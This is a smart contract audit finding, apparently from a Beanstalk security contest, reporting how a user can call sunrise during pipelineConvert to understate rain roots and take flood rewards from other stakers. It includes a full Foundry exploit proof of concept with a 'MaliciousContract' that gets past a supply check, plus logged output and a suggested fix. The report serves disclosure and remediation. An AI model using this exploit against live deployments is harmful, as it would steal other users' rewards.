DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: medium
Valid

Stealing SoP rewards by manipulating the total rain roots during converting

Summary

One can potentially hijack SoP rewards by manipulating the pipeline function calls during the conversion process.

Vulnerability Details

  • Suppose both Alice and Bob each deposit 2000e6 in season 1, and two seasons have elapsed, so we are now in season 3.

  • Now, the conditions P > 1 and podRate < 5% are met, so there will be rain in season 4.

  • In season 3, the roots for both Bob and Alice are 20008000000000000000000000, making the total roots 40016000000000000000000000.

  • Bob notices that when sunrise occurs and we step into the rainy season 4, the total rain roots (equal to the total roots before the rain) will be 40016000000000000000000000 . Bob's rain roots will be 20008000000000000000000000, the same as his roots before the rainy season 4. This means that if there is a flood in season 5, 50% of the rewards will be allocated to Bob and the other half to Alice, as each holds 50% of the total rain roots.

  • Bob performs the following maneuver to increase his rain roots and thereby gain a larger share of the rewards.

Bob's trick:

  • At the end of season 3 (i.e., after 1 hour has elapsed, allowing the transition to season 4 if someone calls sunrise), Bob calls pipelineConvert to convert Bean to LP tokens.

  • During the conversion, the input tokens are first withdrawn. This action reduces temporarily the total roots in the protocol and sets Bob's roots to zero.

  • Then it executes the pipilne convert where it uses the parameter advancedFarmCalls. This parameter is created such that it calls the function advancedPipe in DepotFacet, where it invokes the following series of functions by triggering the function advancedPipe in the Pipeline contract, in order:

    1. calls sunrise to step into rainy season 4.

    2. calls approve to give allowance of max to the BeanETH well to use the amount of bean transferred to the Pipeline.

    3. calls addLiquidity in BeanETH well to add those beans as liquidity.

    4. calls run in the contract MaliciousContract. This function only sows some beans in the protocol. The reason for having such function is that when sunrise is called, some beans are minted as incentivization to the caller. But, the function advancePipe has the modifier noSupplyIncrease to prevent any bean change in total supply. To bypass such limitation, the function run is called, it sows some beans equal to these newly minted beans into the protocol. By doing so, those sowed beans are burned, thus total supply of bean is not changed in advancePipe, and bypassing the limitation.

  • When sunrise is called, it checks the condition for having rain in season 4. Since we assumed these conditions are met, the protocol sets s.sys.rain.roots = s.sys.silo.roots which means the total roots before the start of rain is equal to the current total roots in the protocol.

    • Note that, during convert, first the input tokens are withdrawn, so the total roots is decreased by the amount of roots that Bob was holding which is equal to 20008000000000000000000000, thus the s.sys.rain.roots is set to 20008000000000000000000000 instead of 40016000000000000000000000, and Bob's roots is set to 0.

  • After the execution of pipeline convert, output tokens (which is LP in this example) are added to the protocol and increases the total roots and Bob's roots by the quivalent roots based on the bdv of the output tokens, which is equal to 18578716386428000000000000 in this example. But, this does not change the s.sys.rain.roots.

In summary, before the convert (Bob's trick), we had:

  • total roots = 40016000000000000000000000

  • total rain roots: 0

  • Alice's roots: 20008000000000000000000000

  • Alice's rain roots: 0

  • Bob's roots: 20008000000000000000000000

  • Bob's rain roots: 0

After the convert (Bob's trick), we have:

  • total roots = 38590716386428000000000000

  • total rain roots: 20008000000000000000000000

  • Alice's roots: 20012000000000000000000000

  • Alice's rain roots: 20008000000000000000000000

  • Bob's roots: 18578716386428000000000000

  • Bob's rain roots: 18571291070000000000000000

The issue is that the total rain roots should equal the sum of Alice's and Bob's rain roots. However, it is smaller due to Bob's trick. In other words, Bob is holding 92% of the total rain roots (18578716386428000000000000 / 20008000000000000000000000), while Alice is holding 100% (20008000000000000000000000 / 20008000000000000000000000). This is problematic because Bob, being aware of the opportunity he created, can claim his rewards earlier than Alice. Therefore, if there is a flood in season 5 and rewards are allocated to Bob and Alice, Bob can call claimPlenty early and receive 92% of the rewards. Consequently, the total rain roots in the protocol decrease to 20008000000000000000000000 - 18578716386428000000000000 = 1.43670893e+24. As a result, a low amount of rain roots remain in the protocol, and Alice cannot claim her rewards due to the underflow error in s.sys.sop.plentyPerSopToken[address(sopToken)] -= plenty;.

function _claimPlenty(address account, address well, LibTransfer.To toMode) internal {
uint256 plenty = s.accts[account].sop.perWellPlenty[well].plenty;
if (plenty > 0 && LibWell.isWell(well)) {
IERC20[] memory tokens = IWell(well).tokens();
IERC20 sopToken = tokens[0] != C.bean() ? tokens[0] : tokens[1];
LibTransfer.sendToken(sopToken, plenty, LibTractor._user(), toMode);
s.accts[account].sop.perWellPlenty[well].plenty = 0;
// reduce from Beanstalk's total stored plenty for this well
s.sys.sop.plentyPerSopToken[address(sopToken)] -= plenty;
emit ClaimPlenty(account, address(sopToken), plenty);
}
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/SiloFacet/ClaimFacet.sol#L104

function pipelineConvert(
address inputToken,
int96[] calldata stems,
uint256[] calldata amounts,
address outputToken,
AdvancedFarmCall[] calldata advancedFarmCalls
)
external
payable
fundsSafu
nonReentrant
returns (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv)
{
//.....
uint256 grownStalk;
(grownStalk, fromBdv) = LibConvert._withdrawTokens(inputToken, stems, amounts, fromAmount);
(toAmount, grownStalk, toBdv) = LibPipelineConvert.executePipelineConvert(
inputToken,
outputToken,
fromAmount,
fromBdv,
grownStalk,
advancedFarmCalls
);
toStem = LibConvert._depositTokensForConvert(outputToken, toAmount, toBdv, grownStalk);
//.....
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/PipelineConvertFacet.sol#L62

function advancedPipe(
AdvancedPipeCall[] calldata pipes,
uint256 value
) external payable fundsSafu noSupplyIncrease returns (bytes[] memory results) {
results = IPipeline(PIPELINE).advancedPipe{value: value}(pipes);
LibEth.refundEth();
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/farm/DepotFacet.sol#L51

Test Case

The following foundry test implementes the scenario explained above.

function testConvertBeanToLPManipulation() public {
// users[1] = Alice
// users[2] = Bob
int96 stem;
uint AliceDepositAmount = 2000e6;
uint BobDepositAmount = 2000e6;
// manipulate well so we won't have a penalty applied
setDeltaBforWell(int256(AliceDepositAmount + BobDepositAmount), beanEthWell, C.WETH);
bean.mint(users[1], AliceDepositAmount);
bean.mint(users[2], BobDepositAmount);
// mint some soil, that allows to sow beans later
season.setSoilE(100e6);
console.log("season number before deposit: ", bs.season());
address[] memory userAddress = new address[](1);
userAddress[0] = users[1]; // Alice
depositForUsers(userAddress, C.BEAN, AliceDepositAmount, LibTransfer.From.EXTERNAL);
userAddress[0] = users[2]; // Bob
depositForUsers(userAddress, C.BEAN, BobDepositAmount, LibTransfer.From.EXTERNAL);
bs.siloSunrise(0);
bs.siloSunrise(0); // season 3
MaliciousContract maliciousContract = new MaliciousContract(BEANSTALK, C.BEAN);
// assuming the malicious contract has 100 beans already
bean.mint(address(maliciousContract), 100e6);
// records the current bean total supply
maliciousContract.initialize();
console.log("season number after two seasons are elapsed: ", bs.season()); // season 3
// do the convert
// Create arrays for stem and amount
int96[] memory stems = new int96[](1);
stems[0] = stem;
AdvancedFarmCall[] memory beanToLPFarmCalls = createLPToBeanFarmCallsWithSunrise(
BobDepositAmount,
maliciousContract
);
uint256[] memory amounts = new uint256[](1);
amounts[0] = BobDepositAmount;
bs.mow(users[1], C.BEAN);
bs.mow(users[2], C.BEAN);
SeasonGettersFacet seasonGetters = SeasonGettersFacet(BEANSTALK);
console.log("total roots before convert: ", bs.totalRoots());
console.log("total rain roots before convert: ", seasonGetters.rain().roots);
console.log("Alice balanceOfRoots before convert: ", bs.balanceOfRoots(users[1]));
console.log("Alice balance of rainRoots before convert: ", bs.balanceOfRainRoots(users[1]));
console.log("Bob balanceOfRoots before convert: ", bs.balanceOfRoots(users[2]));
console.log("Bob balance of rainRoots before convert: ", bs.balanceOfRainRoots(users[2]));
vm.prank(users[2]); // do this as user 2
convert.pipelineConvert(
C.BEAN, // input token
stems, // stems
amounts, // amount
beanEthWell, // token out
beanToLPFarmCalls // farmData
);
bs.mow(users[1], C.BEAN);
bs.mow(users[2], beanEthWell);
console.log("total roots after convert: ", bs.totalRoots());
console.log("total rain roots after convert: ", seasonGetters.rain().roots);
console.log("Alice balanceOfRoots after convert: ", bs.balanceOfRoots(users[1]));
console.log("Alice balance of rainRoots after convert: ", bs.balanceOfRainRoots(users[1]));
console.log("Bob balanceOfRoots after convert: ", bs.balanceOfRoots(users[2]));
console.log("Bob balance of rainRoots after convert: ", bs.balanceOfRainRoots(users[2]));
}
function createLPToBeanFarmCallsWithSunrise(
uint256 amountOfBean,
MaliciousContract maliciousContract
) private view returns (AdvancedFarmCall[] memory output) {
// encode sunrise
// to mimic a season that rains, the helper function rainSunrise is encoded
bytes memory rainSunriseEncoded = abi.encodeWithSignature(
"rainSunrise()"
);
// setup approve max call
bytes memory approveEncoded = abi.encodeWithSelector(
IERC20.approve.selector,
beanEthWell,
MAX_UINT256
);
uint256[] memory tokenAmountsIn = new uint256[](2);
tokenAmountsIn[0] = amountOfBean;
tokenAmountsIn[1] = 0;
// encode Add liqudity.
bytes memory addLiquidityEncoded = abi.encodeWithSelector(
IWell.addLiquidity.selector,
tokenAmountsIn, // tokenAmountsIn
0, // min out
C.PIPELINE, // recipient
type(uint256).max // deadline
);
// encode the function run in the MaliciousContract
bytes memory runEncoded = abi.encodeWithSignature(
"run()"
);
// Fabricate advancePipes:
AdvancedPipeCall[] memory advancedPipeCalls = new AdvancedPipeCall[](4);
// Action 0: Sunrise into season 4 where rain happens.
advancedPipeCalls[0] = AdvancedPipeCall(
address(season), // target
rainSunriseEncoded, // calldata
abi.encode(0) // clipboard
);
// Action 1: approve the Bean-Eth well to spend pipeline's bean.
advancedPipeCalls[1] = AdvancedPipeCall(
C.BEAN, // target
approveEncoded, // calldata
abi.encode(0) // clipboard
);
// Action 2: Add One sided Liquidity into the well.
advancedPipeCalls[2] = AdvancedPipeCall(
beanEthWell, // target
addLiquidityEncoded, // calldata
abi.encode(0) // clipboard
);
// Action 3: Executed the function run in the MaliciousContract.
advancedPipeCalls[3] = AdvancedPipeCall(
address(maliciousContract), // target
runEncoded, // calldata
abi.encode(0) // clipboard
);
// Encode into a AdvancedFarmCall. NOTE: advancedFarmCall != advancedPipeCall.
// AdvancedFarmCall calls any function on the beanstalk diamond.
// advancedPipe is one of the functions that its calling.
// AdvancedFarmCall cannot call approve/addLiquidity, but can call AdvancedPipe.
// AdvancedPipe can call any arbitrary function.
AdvancedFarmCall[] memory advancedFarmCalls = new AdvancedFarmCall[](1);
bytes memory advancedPipeCalldata = abi.encodeWithSelector(
depot.advancedPipe.selector,
advancedPipeCalls,
0
);
advancedFarmCalls[0] = AdvancedFarmCall(advancedPipeCalldata, new bytes(0));
return advancedFarmCalls;
}
/*
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.20;
import {TestHelper, C} from "test/foundry/utils/TestHelper.sol";
import "hardhat/console.sol";
interface IBeanstalk {
enum From {
EXTERNAL,
INTERNAL,
EXTERNAL_INTERNAL,
INTERNAL_TOLERANT
}
enum To {
EXTERNAL,
INTERNAL
}
function sowWithMin(
uint256 beans,
uint256 minTemperature,
uint256 minSoil,
From mode
) external payable returns (uint256 pods);
}
interface IERC20 {
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
contract MaliciousContract is TestHelper {
IBeanstalk iBeanstalk;
address bean;
uint initialSupply;
constructor(
address _addressBeanstalk,
address _bean
) {
iBeanstalk = IBeanstalk(_addressBeanstalk);
bean = _bean;
}
function initialize() public {
// records the total supply of bean before the convert
initialSupply = IERC20(bean).totalSupply();
}
function run() public {
// allow the protocol to burn beans from this contract
IERC20(bean).approve(address(iBeanstalk), type(uint256).max);
// records the total supply of bean after sunrise
// after surise, there is a flood, so total supply of bean increases
uint256 currentSupply = IERC20(bean).totalSupply();
// diffTotalSupply is the amount of beans newly minted during convert
// diffTotalSupply includes two factors
// First: the amount of beans minted due to the flood
// Second: the amount of beans minted as incetive to the caller of sunrise
uint256 diffTotalSupply = currentSupply - initialSupply;
// during convert it is not possible to mints new beans
// because the function advancedPipe in the contract DepotFacet has the modifier noSupplyIncrease
// to bypass this limitation, the same amount of newly minted beans are sowed in the protocol, where they are burned
// so the total supply of beans does not change, and some pods are minted
// this amount of beans sowed in the protocol are coming from the initial beans holded by this contract
// it is assumed that this contract was holding 1000e6 beans before
iBeanstalk.sowWithMin(diffTotalSupply, 0, 0, IBeanstalk.From.EXTERNAL);
}
}

The output is:

season number before deposit: 1
season number after two seasons are elapsed: 3
total roots before convert: 40016000000000000000000000
total rain roots before convert: 0
Alice balanceOfRoots before convert: 20008000000000000000000000
Alice balance of rainRoots before convert: 0
Bob balanceOfRoots before convert: 20008000000000000000000000
Bob balance of rainRoots before convert: 0
total roots after convert: 38590716386428000000000000
total rain roots after convert: 20008000000000000000000000
Alice balanceOfRoots after convert: 20012000000000000000000000
Alice balance of rainRoots after convert: 20008000000000000000000000
Bob balanceOfRoots after convert: 18578716386428000000000000
Bob balance of rainRoots after convert: 18571291070000000000000000

Impact

Stealing SoP rewards.

Tools Used

Recommendations

It is recommended to put a reentrancy guard for calling sunrise.

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

advanced pipe reentrancy, sunsrise & sow

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.